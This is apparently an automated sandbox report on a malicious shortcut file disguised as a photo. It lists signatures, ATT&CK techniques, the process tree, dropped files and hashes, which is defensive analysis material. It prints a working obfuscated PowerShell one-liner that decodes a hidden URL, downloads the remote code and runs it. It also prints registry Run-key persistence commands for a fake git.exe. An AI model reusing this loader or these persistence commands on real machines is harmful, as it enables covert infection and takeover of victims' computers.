abcac768894b9fa52f239fd1174e4f93de9486d793761aa61d571a4e3431c66f

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/07/2026, 12:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
photov_079359259606.lnk
Size 1KB
Sample260727-pgaxqaag69
SHA256 abcac768894b9fa52f239fd1174e4f93de9486d793761aa61d571a4e3431c66f
MD5 0281dc222586051a90760ac129bf3657
SHA1 3f51375b467376850f5b4b795e050303647f0446
SHA512 5418a3e2925c1ffa807685b8b03e4610a8f31e17a0d79ae2d84e8ee89d57155742a2adb6a7068ea15e0a1566936f6e846cd6242e98f7b7061ea7bf392b83939e
TLSH
T140313B6B5AA4075AE6F24B3ADCEE3347FC24952A7111BC594097831C49B3F0D684623D
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 13 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	1436	powershell.exe
10	1436	powershell.exe
12	1436	powershell.exe
14	1436	powershell.exe
16	1436	powershell.exe
18	1436	powershell.exe
29	1436	powershell.exe
43	1436	powershell.exe
45	1436	powershell.exe
50	1436	powershell.exe
55	1436	powershell.exe
57	1436	powershell.exe
58	1436	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 4 IoCs

pid	Process
3584	git.exe
3940	git.exe
1108	DCRCVDrv.sys
4136	git.exe

Loads dropped DLL 21 IoCs

pid	Process
3584	git.exe
3584	git.exe
3584	git.exe
3584	git.exe
3584	git.exe
3584	git.exe
3584	git.exe
3940	git.exe
3940	git.exe
3940	git.exe
3940	git.exe
3940	git.exe
3940	git.exe
3940	git.exe
4136	git.exe
4136	git.exe
4136	git.exe
4136	git.exe
4136	git.exe
4136	git.exe
4136	git.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\idik5_dwnxx_csq_btwq = "\"C:\\Users\\Admin\\AppData\\Local\\mjctmqyj9__upd_uglm\\git.exe\""	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GitWinx86 = "cmd /c start \"\" /D \"C:\\ProgramData\\GitWinx86\" \"C:\\ProgramData\\GitWinx86\\git.exe\""	git.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GitWinx86 = "cmd /c start \"\" /D \"C:\\ProgramData\\GitWinx86\" \"C:\\ProgramData\\GitWinx86\\git.exe\""	git.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ifconfig.me
55	ifconfig.me
56	api.ipify.org
57	api.ipify.org

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3584 set thread context of 5012	3584	git.exe	107
PID 3940 set thread context of 2008	3940	git.exe	108
PID 4136 set thread context of 6404	4136	git.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2204	cmd.exe
3532	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1436	powershell.exe
1436	powershell.exe
5012	installutil.exe
5012	installutil.exe
2008	installutil.exe
2008	installutil.exe
5012	installutil.exe
5012	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
5012	installutil.exe
5012	installutil.exe
5012	installutil.exe
5012	installutil.exe
6404	installutil.exe
6404	installutil.exe
6404	installutil.exe
6404	installutil.exe
5012	installutil.exe
5012	installutil.exe
5012	installutil.exe
5012	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
6404	installutil.exe
6404	installutil.exe
6404	installutil.exe
6404	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
5012	installutil.exe
5012	installutil.exe
5012	installutil.exe
5012	installutil.exe
6404	installutil.exe
6404	installutil.exe
6404	installutil.exe
6404	installutil.exe
5012	installutil.exe
5012	installutil.exe
5012	installutil.exe
5012	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
6404	installutil.exe
6404	installutil.exe
6404	installutil.exe
6404	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
2008	installutil.exe
5012	installutil.exe
5012	installutil.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeIncreaseQuotaPrivilege	1436	powershell.exe
Token: SeSecurityPrivilege	1436	powershell.exe
Token: SeTakeOwnershipPrivilege	1436	powershell.exe
Token: SeLoadDriverPrivilege	1436	powershell.exe
Token: SeSystemProfilePrivilege	1436	powershell.exe
Token: SeSystemtimePrivilege	1436	powershell.exe
Token: SeProfSingleProcessPrivilege	1436	powershell.exe
Token: SeIncBasePriorityPrivilege	1436	powershell.exe
Token: SeCreatePagefilePrivilege	1436	powershell.exe
Token: SeBackupPrivilege	1436	powershell.exe
Token: SeRestorePrivilege	1436	powershell.exe
Token: SeShutdownPrivilege	1436	powershell.exe
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeSystemEnvironmentPrivilege	1436	powershell.exe
Token: SeRemoteShutdownPrivilege	1436	powershell.exe
Token: SeUndockPrivilege	1436	powershell.exe
Token: SeManageVolumePrivilege	1436	powershell.exe
Token: 33	1436	powershell.exe
Token: 34	1436	powershell.exe
Token: 35	1436	powershell.exe
Token: 36	1436	powershell.exe
Token: SeDebugPrivilege	5012	installutil.exe
Token: SeDebugPrivilege	2008	installutil.exe
Token: SeDebugPrivilege	6404	installutil.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 3532	2204	cmd.exe	87
PID 3532 wrote to memory of 1436	3532	cmd.exe	88
PID 1436 wrote to memory of 3940	1436	powershell.exe	99
PID 4628 wrote to memory of 4136	4628	cmd.exe	105
PID 3584 wrote to memory of 5012	3584	git.exe	107
PID 3584 wrote to memory of 5012	3584	git.exe	107
PID 3584 wrote to memory of 5012	3584	git.exe	107
PID 3584 wrote to memory of 5012	3584	git.exe	107
PID 3584 wrote to memory of 5012	3584	git.exe	107
PID 3940 wrote to memory of 2008	3940	git.exe	108
PID 3940 wrote to memory of 2008	3940	git.exe	108
PID 3940 wrote to memory of 2008	3940	git.exe	108
PID 3940 wrote to memory of 2008	3940	git.exe	108
PID 3940 wrote to memory of 2008	3940	git.exe	108
PID 4136 wrote to memory of 6404	4136	git.exe	109
PID 4136 wrote to memory of 6404	4136	git.exe	109
PID 4136 wrote to memory of 6404	4136	git.exe	109
PID 4136 wrote to memory of 6404	4136	git.exe	109
PID 4136 wrote to memory of 6404	4136	git.exe	109

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\photov_079359259606.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -c "$nrqbi62=85;$ppwkqeo=87;$jc50421zd=[bigint]::Parse('9957656818713254711674126930215369170141281');$i6zzc=[bigint]::Parse('5964418006189389665902507398813365066984');$jc50421zd=$jc50421zd-$i6zzc;$a0ozlcb915=@();while($jc50421zd -gt 0){$a0ozlcb915+=[char][int]([bigint]::Remainder($jc50421zd,256));$jc50421zd=[bigint]::Divide($jc50421zd,256)};.([scriptblock]::Create((irm(-join$a0ozlcb915))))"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "$nrqbi62=85;$ppwkqeo=87;$jc50421zd=[bigint]::Parse('9957656818713254711674126930215369170141281');$i6zzc=[bigint]::Parse('5964418006189389665902507398813365066984');$jc50421zd=$jc50421zd-$i6zzc;$a0ozlcb915=@();while($jc50421zd -gt 0){$a0ozlcb915+=[char][int]([bigint]::Remainder($jc50421zd,256));$jc50421zd=[bigint]::Divide($jc50421zd,256)};.([scriptblock]::Create((irm(-join$a0ozlcb915))))"
    3⤵
    - Badlisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1436
  - - C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe
      "C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:3940
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2008

C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe
"C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3584
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5012

C:\Windows\system32\cmd.exe
"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
1⤵
- Suspicious use of WriteProcessMemory
PID:4628
- C:\ProgramData\GitWinx86\git.exe
  "C:\ProgramData\GitWinx86\git.exe""
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6404

C:\Windows\Temp\DCRCVDrv.sys
C:\Windows\Temp\DCRCVDrv.sys
1⤵
- Executes dropped EXE
PID:1108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

libiconv-2.dll

Path C:\ProgramData\GitWinx86\libiconv-2.dll
Size 1.1MB
SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
MD5 987a6b7cd60f6c108550ebfc1771b911
SHA1 10ed03a50b0c5e4dc3acf6374328424474213fdb
SHA512 81a3d038bb4d95800febfa48fa478d4ee65e05abef190a27bd670bd2b154b07359b41964f063bfed5e8d3f5b40fb5666d0072f5f52595d93d5645295470437ce
SSDEEP 24576:SI1BAUZLY3wPKU7VbbTOZGavkg3NyeuQ6l9fH+fxr:F1BAUZLYgiU7IZGaXBuQQ9exr
TLSH
T14435CE62F3D3CB2BF263C6B0C96A5B26E427EC216B0605377664B3BC5D337A414C8566
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libintl-8.dll

Path C:\ProgramData\GitWinx86\libintl-8.dll
Size 291KB
SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
MD5 edf8f1b85f2f01ff0a28a6a31c3e427d
SHA1 ff1bc2ec0a952a27b728f32c0c00c7c066097614
SHA512 41269d7ddc99104e950934e0eff78c306a8a73bdfb34a8535f133b0442001e489ba8a7a6b3d399a26f83982f8c83070afd8393ebb32cfc529549417be279e9ed
SSDEEP 6144:ZqvWcwWaX1Ziu21y+7DE4a0onJMFEdd+TuoJo:0WcOXow+8Wmiwd+TuoJo
TLSH
T1B5541907B247A9D9E153D5308987C7F5B973BC720BA0AAB726A0F33C2E318515B19B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libwinpthread-1.dll

Path C:\ProgramData\GitWinx86\libwinpthread-1.dll
Size 3.0MB
SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
MD5 9e4d0677fa7e5996bb0558558f8250e0
SHA1 9b8bfbb4cb8bd2ba0e9b0c16957bf54936ee254a
SHA512 0cf88c933e01854fef4a98e0465df08e12b3e6203bf47550b036e4fd28bd367ce8a74136344cad2d89df77a45ef19b0856db7ab326f7e580f77cffb635079d95
SSDEEP 49152:TCKosFyJxIG5oPVWk12JVB6iPQTUrrzAP11xy1rBLcyRGzaFjKWE5wtpFCzro1/G:CmOVnPQTUrrzAP11xy1rBLcyRGzaFjKD
TLSH
T121E5BF55A3D859E9D463DA349710E332C2B279634B75E08B0A9AC70A1F77D924F3FB02
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140.dll

Path C:\ProgramData\GitWinx86\msvcp140.dll
Size 540KB
SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
MD5 4e3fa9bd90ef020c14359639dc19312b
SHA1 a51032ec39a292afda65b0e3053d4ff3e3241512
SHA512 3e3c62fe860199953cc87e0516b77f6a039f2563cb6b5cc48edc51f243e5ea8fd9b2e3239a089966c403f17a8b3766090bc7b827399cceb00a37bac970855e15
SSDEEP 12288:M0MrE03u1mHWV/I3z+bQEKZm+jWodEEV7X:M0p1F/IiQEKZm+jWodEENX
TLSH
T180C42A23F75906E0E195E3B8A1838702D7F17C5A8322E3C742EB955E2F577D0A63B690
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zlib1.dll

Path C:\ProgramData\GitWinx86\zlib1.dll
Size 125KB
SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
MD5 30a31b969a3356efde11078dc635baa0
SHA1 331b61df1d5378809df58cbcfa292002d4adb06b
SHA512 66fc99ddc77df71ff01516f9b6a594987041f83e75e90fa62c74961c446d82a08ccee0ceafa5eaeb260a328a867a302a168777d69eff34de311b625619a51345
SSDEEP 3072:vGsOJXTFCi6G6Q8Kw3Ee+NFH+LdTGpaAt5kwxlZX7tmoh2NiDSR2F3e:+nSiBJe0FwGRUiOR2F3e
TLSH
T1B1C36B6BF6A364FEC6A7C17082E38BB1F031B81107246CBB9154D7752E20E50671DABD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

installutil.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\installutil.exe.log
Size 425B
SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
MD5 4eaca4566b22b01cd3bc115b9b0b2196
SHA1 e743e0792c19f71740416e7b3c061d9f1336bf94
SHA512 bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1
TLSH
T112E0AB303321E0D489422F821C1C769503EF0359A110EE183848125FD4251172B312E3
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_sezfuzvs.j21.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sezfuzvs.j21.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

hzcquoius_udpg_ptcpa7.zip

Path C:\Users\Admin\AppData\Local\Temp\hzcquoius_udpg_ptcpa7.zip
Size 5.6MB
SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
MD5 c3cec70c65f28d3ecfd075af7ed0cdc0
SHA1 8a34ab30c6c4cc2c0e58c5765a78816628c81ce9
SHA512 1c7c623e0110d2d70212f654b69602b7434e87b15fc4a5296c58cebb2a4ecdda924cea0138d8024789349473594a629ad33d1b5e558bcd667c80c540fcb99b7f
SSDEEP 98304:vK0aBfy4p26C5DEWiKQdjl6zFqRuSh9csTNw4bY6mSU6oIBYTb1Zu4z5zLh3ruJr:YjbCxETKQd3RDh9jTu40FTTbXugbud
TLSH
T17A563342C478C5A8F195F87EAD6E94A8FA592101EC671FBF1F2502600C9F8C9F729678
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\VCRUNTIME140_1.dll
Size 46KB
SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
MD5 03b43160d21c08de07a79d0a1c5ee81d
SHA1 0a449093006af667432b83303614b53b62fc0d05
SHA512 8b835205bf037b78144f0a4a78618a4e74ba087ac9916c83cb25aff266ddcf5c1b859a6e7c6fec2b57ffeee94fa2f52dd7f6e98c387a4ea7a3143fef6a9570b0
SSDEEP 768:BezSkbhNfI4fWLZyS/dPWxngU907N9z7RV80X9z+:2YZyuPWxn3Ivz7bDz+
TLSH
T1FC237E9293BC4086E89B8970C1DBDE57BD38B7D2576093CB1BA5E54C1E537C0E63832A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

git.exe

Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe
Size 4.2MB
SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
MD5 6ff84a2fb05d06f456578f5afa902945
SHA1 f60f869462fb6ef384f193e0e0b74e28d2aefbc6
SHA512 352428d1cb49ba194a076cb924435c2e941958c35e25d25e05de64bcf53f9d5c8712b389025c97997b968e03421c5c2aefc5dbd1b28b674d7a805bed5b696790
SSDEEP 49152:sQ/JXZZnKYimQ8SN0K3Y+kY0k7IOfSl+DBYx4CQ2Avwq8eKSIWLOFo5zOMcdFBmX:zo4IP7xW71dpTmO8lQJClxPPw6
TLSH
T112262907E2A360ECC96BC13996966732BA72F85801347E7F5694CB302F71E50572EF29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libpcre2-8-0.dll

Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\libpcre2-8-0.dll
Size 701KB
SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
MD5 86f36fe5c094d844ac79cdd58dc6c8dd
SHA1 3484ac473e6a60920b26f6cad06fe0ec3bd34467
SHA512 22303f09216616bf7026d9cc5e8a788076d11107814dc1ec43fe0390116fdea58a5ed11b53652020576d8c6232a2cd524a23b4bb0455df1568763913da21e78e
SSDEEP 12288:c/94uwmMo7Q++CDdewFv4/iIhZ9SsChldffAf/fmjFUW8:c/Cy7BDd94/6sEXI3fmjFUW8
TLSH
T142E4D547F4E321E8CD36C175E7B732B2F53639E91035BDAE16A0C3322E139215A5AA1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\ucrtbase.dll
Size 1.3MB
SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
MD5 ef62e9b3d7203f825dbf5dda8d4770c9
SHA1 7f1f99f61082c63a645cea72d41481928b4d19cb
SHA512 cb79d334af2c436cd62d0f4be8ef8f4f89c4590c666125fd26a218426079beadb9da8cc99cdc28fcef6c3574a4941592f85019aa642f71f1e7559f599b75233c
SSDEEP 24576:T9KcgsGAmTfFqSgdDWqNUF3Z7Nkqnjqo3JYj8Jszg8mxvSZX0ypapJDBL:T9KpUmTfFqSgdDPq3DjqI08JXpJD9
TLSH
T15C55AE6176AD01E9C1BFD13DC64B4606E9B2781503708ADB03E94E792E3BBE9177B321
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\vcruntime140.dll
Size 120KB
SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
MD5 0d35c5e99871b4f02c490b9fd9dace34
SHA1 c2280e6285147cd8010becc0cd3a120fca0088e0
SHA512 114bc156655e0d3249b6f94af1da80528b6695630f548ab596dfb406f6ffcc65276c9f900b637ba9c244ba5a4331aa15d2de0672f6dcbd38cb49a206c100698b
SSDEEP 1536:a9pCUgtBAVcxStMXcfG8VwfmpcGLOI5Sv+vecbeQ6N7l9gEeza/yLzt:qyA+3EOfmpcGSdOecbeQ6Nx9Mqsp
TLSH
T1B9C37B4272B802FBC16BD274C292AE27FBB6B50687605BDF07AA86650F537D06D3C341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DCRCVDrv.sys

Path C:\Windows\Temp\DCRCVDrv.sys
Size 137KB
SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
MD5 567c158ee0858f8e941d4ab7a6c18dbc
SHA1 47d922b0fd5d704025d14ef98ded46e74830a423
SHA512 f976cb8e9a2f0fc769e2e4345d18e1e9f01fdb1c4303eb20d94b625467e60ce20dd120e77a96d9ba498361dd6dc0066535404cb22cf99fc49607d1f35eaed2ab
SSDEEP 3072:6pEFTp46B6ETbeP/ItLK9Di8/4BQaeJzP:Y8Tp46B6EOLgBQX
TLSH
T10CD33A12A36550A4E977E2B8C6B65263EFF37861133547CF03608A654F23BE4B93A3D1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1108-118-0x0000000000010000-0x000000000003D000-memory.dmp

Download

memory/1436-13-0x000001F96D220000-0x000001F96D244000-memory.dmp

Download

memory/1436-21-0x000001F96D250000-0x000001F96D262000-memory.dmp

Download

memory/1436-19-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

Download

memory/1436-18-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

Download

memory/1436-17-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

Download

memory/1436-16-0x000001F96D220000-0x000001F96D22A000-memory.dmp

Download

memory/1436-15-0x000001F96DAF0000-0x000001F96E018000-memory.dmp

Download

memory/1436-14-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

Download

memory/1436-1-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

Download

memory/1436-12-0x000001F96D220000-0x000001F96D24A000-memory.dmp

Download

memory/1436-11-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

Download

memory/1436-10-0x000001F96D3F0000-0x000001F96D5B2000-memory.dmp

Download

memory/1436-2-0x000001F96A9C0000-0x000001F96A9E2000-memory.dmp

Download

memory/1436-0-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

Download

memory/2008-226-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-182-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-154-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-155-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-186-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-210-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-258-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-158-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-162-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-166-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-152-0x0000000002B50000-0x0000000002B6A000-memory.dmp

Download

memory/2008-170-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-174-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-358-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-356-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-178-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-190-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-194-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-198-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-202-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-206-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-214-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-218-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-222-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-230-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-234-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-238-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-242-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-245-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-250-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-253-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-279-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-273-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-270-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-266-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/2008-262-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/3584-141-0x00007FF67A7F0000-0x00007FF67AC5F000-memory.dmp

Download

memory/3584-144-0x00007FFA3A4A0000-0x00007FFA3A4F2000-memory.dmp

Download

memory/3584-142-0x00007FFA345F0000-0x00007FFA3470F000-memory.dmp

Download

memory/3584-143-0x00007FFA35810000-0x00007FFA358C6000-memory.dmp

Download

memory/3584-145-0x00007FFA4DAD0000-0x00007FFA4DAF6000-memory.dmp

Download

memory/3940-150-0x00007FFA35810000-0x00007FFA358C6000-memory.dmp

Download

memory/3940-147-0x00007FF67A7F0000-0x00007FF67AC5F000-memory.dmp

Download

memory/3940-148-0x00007FFA345F0000-0x00007FFA3470F000-memory.dmp

Download

memory/3940-151-0x00007FFA4DAD0000-0x00007FFA4DAF6000-memory.dmp

Download

memory/3940-149-0x00007FFA3A4A0000-0x00007FFA3A4F2000-memory.dmp

Download

memory/5012-327-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-318-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-335-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-338-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-342-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-346-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-304-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-350-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-311-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-153-0x0000000005250000-0x000000000527C000-memory.dmp

Download

memory/5012-323-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-331-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-315-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-295-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-285-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-307-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-299-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-292-0x0000000005250000-0x0000000005276000-memory.dmp

Download

memory/5012-287-0x0000000005250000-0x0000000005276000-memory.dmp

Download

